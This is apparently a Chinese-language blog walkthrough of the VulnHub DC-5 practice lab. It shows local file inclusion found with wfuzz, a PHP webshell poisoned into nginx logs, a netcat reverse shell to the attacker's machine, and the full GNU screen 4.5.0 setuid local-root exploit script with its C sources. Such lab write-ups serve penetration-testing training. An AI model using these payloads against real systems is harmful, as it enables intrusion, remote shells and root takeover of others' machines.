VulnHub通关日记-DC_5-Walkthrough

简介: LFI(本地文件包含)日志获取shell wfuzz工具的使用 screen提权root

DC-5 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.

The plan was for DC-5 to kick it up a notch, so this might not be great for beginners, but should be ok for people with intermediate or better experience. Time will tell (as will feedback).

靶机地址:https://www.vulnhub.com/entry/dc-5,314/

学习到的知识

LFI(本地文件包含)日志获取shell wfuzz工具的使用 screen提权root

信息搜集

拿到 IP 先扫描端口开放服务:


nmap -A -T 4 192.168.1.144



它这边只开放了 80(http)和 111(RPC)两个端口服务!

RPC 他是一个RPC服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解rpc就是一个中介服务。

我们先来到 WEB 端,但是没有什么可利用点,只有一个表单提交的地方:


http://192.168.1.144/contact.php



我随便提交了一些内容,发现了它会被提交到 thankyou.php 这个文件:


图片


LFI本地文件包含获取shell

看上去有点像 LFI(本地文件包含)漏洞,紧接着我用 KALI 自带的 wfuz 工具对它一顿FUZZ梭哈:


wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z



由于FUZZ出来的参数太多了!而且好多都没有,我两眼一迷的仔细找到了一个参数:


http://192.168.1.144/thankyou.php?file=/etc/mysql/my.cnf



打开后我发现它可以读取系统文件:



这个时候确定了它存在本地文件包含!那么我继续用 wfuzz 缩小我们得到的参数范围:



wfuzz -w /usr/share/wfuzz/wordlist/general/test.txt -w /usr/share/wfuzz/wordlist/LFI/LFI-InterestingFiles.txt --hh 851,835 http://192.168.1.144/thankyou.php?FUZZ=FUZ2Z--h 是过滤Chars


图片


这样我们就成功的得到一些可利用的参数:




arget: http://192.168.1.144/thankyou.php?FUZZ=FUZ2ZTotal requests: 2568
===================================================================ID           Response   Lines    Word     Chars       Payload                                                                                                                                    ===================================================================
000001714:   200        44 L     68 W     861 Ch      "file - /etc/issue"                                                                                                                        000001715:   200        49 L     103 W    1121 Ch     "file - /etc/motd"                                                                                                                         000001716:   200        70 L     104 W    2319 Ch     "file - /etc/passwd"                                                                                                                       000001717:   200        70 L     104 W    2319 Ch     "file - /etc/passwd"                                                                                                                       000001719:   200        96 L     117 W    1558 Ch     "file - /etc/group"                                                                                                                        000001833:   500        38 L     58 W     786 Ch      "file - /etc/php5/apache2/php.ini"                                                                                                         000001844:   500        38 L     58 W     786 Ch      "file - /etc/php5/cgi/php.ini"                                                                                                             000001872:   200        170 L    590 W    4368 Ch     "file - /etc/mysql/my.cnf"                                                                                                                 000001926:   200        65662    871324   9389548 C   "file - /var/log/nginx/access.log"



随后我发现了它的一个日志文件里有我们的请求记录:


http://192.168.1.144/thankyou.php?file=/var/log/nginx/access.log



既然日志能记录我们的操作,那么我们就写入一句话到日志文件里吧:


http://192.168.1.144/thankyou.php?file=<?php system($_GET['saul']) ?>



(温馨提示:到这里我靶机重启了一下,所以 IP 变了)

接下来然后用日志文件去执行命令 ls


http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=ls


成功执行命令!那么我就用 nc 反弹一个shell回来吧!先是 KALI nc 监听 5555 端口,然后访问得到一枚 shell


http://192.168.1.144/thankyou.php?file=/var/log/nginx/error.log&saul=nc -e /bin/bash 192.168.1.128 5555



得到 shell 以后我用 python 切换到 bash


python -c 'import pty;pty.spawn("/bin/bash")'



权限提升

之后我查找 SUID 权限的文件发现了 screen


find / -perm /4000 2>/dev/null



紧接着我又去搜索了一下关于 screen 的漏洞,找到了一个提权 poc





#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell



接着我按照上面的 POC 创建了 libhax.crootshell.c 文件,文件内容是:






root@kali:~# cat libhax.c 
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
root@kali:~# cat rootshell.c 
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}



随后用 gcc 编译他们:



gcc -fPIC -shared -ldl -o libhax.so libhax.cgcc -o rootshell rootshell.c



编译完后我用 nc 把刚刚编译好的文件传到目标服务器上:



KALI:nc -nlvp 7777 < libhax.sonc -nlvp 7777 < rootshell
靶机:nc 192.168.1.128 7777 > libhax.sonc 192.168.1.128 7777 > rootshell





最后按照 POC 上面的步骤依次输入命令提权为 root


cd /etc




umask 000




screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"




screen -ls



/tmp/rootshell



最终也是在 /root 目录下拿到了 Flag


相关文章
|
12月前
|
SQL 安全 网络协议
VulnHub通关日记-DC_9-Walkthrough
DC-9是 DC 系列的最后一个靶机了,这项挑战的最终目标是扎根并读取唯一的标志。
|
12月前
|
SQL 安全 Shell
VulnHub通关日记-DC_7-Walkthrough
DC-7是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。
|
12月前
|
Shell 网络安全 数据安全/隐私保护
VulnHub通关日记-DC_6-Walkthrough
好的,这并不是一个真正的线索,但是对于那些只是想继续工作的人,更多的是“我们不想花五年时间等待某个过程完成”的建议。
|
12月前
|
SQL Shell 网络安全
VulnHub通关日记-DC_4-Walkthrough
DC-4是另一个专门构建的易受攻击的实验室,目的是在渗透测试领域积累经验。
|
12月前
|
Shell Linux 网络安全
VulnHub通关日记-DC_2-Walkthrough
总共有5个Flag,最后一个Flag是在 root 目录下!
|
12月前
|
SQL 安全 关系型数据库
VulnHub通关日记-DC_1-Walkthrough
DC系列的靶机是一个专门构建的易受攻击的实验室,总共有九个!目的是获得渗透测试领域的经验
|
1天前
|
算法
AC/DC电源模块设计原理、优化技术和应用案例三个方面进行阐述
AC/DC电源模块是一种将交流电转换成直流电的设备,广泛应用在各种电子设备中。其设计和优化是为了提高转换效率、降低功耗和提高性能稳定性。本文将从设计原理、优化技术和应用案例三个方面进行阐述。
AC/DC电源模块设计原理、优化技术和应用案例三个方面进行阐述
|
1天前
|
芯片
BOSHIDA AC/DC电源模块的设计与优化
BOSHIDA AC/DC电源模块的设计与优化
BOSHIDA  AC/DC电源模块的设计与优化
|
2天前
|
传感器 安全
BOSHIDA AC/DC电源模块在工业自动化领域的应用探析
BOSHIDA AC/DC电源模块在工业自动化领域的应用探析
BOSHIDA AC/DC电源模块在工业自动化领域的应用探析
|
3天前
|
运维 安全 测试技术
BOSHIDA AC/DC电源模块的故障诊断与维修技巧
BOSHIDA AC/DC电源模块的故障诊断与维修技巧
BOSHIDA  AC/DC电源模块的故障诊断与维修技巧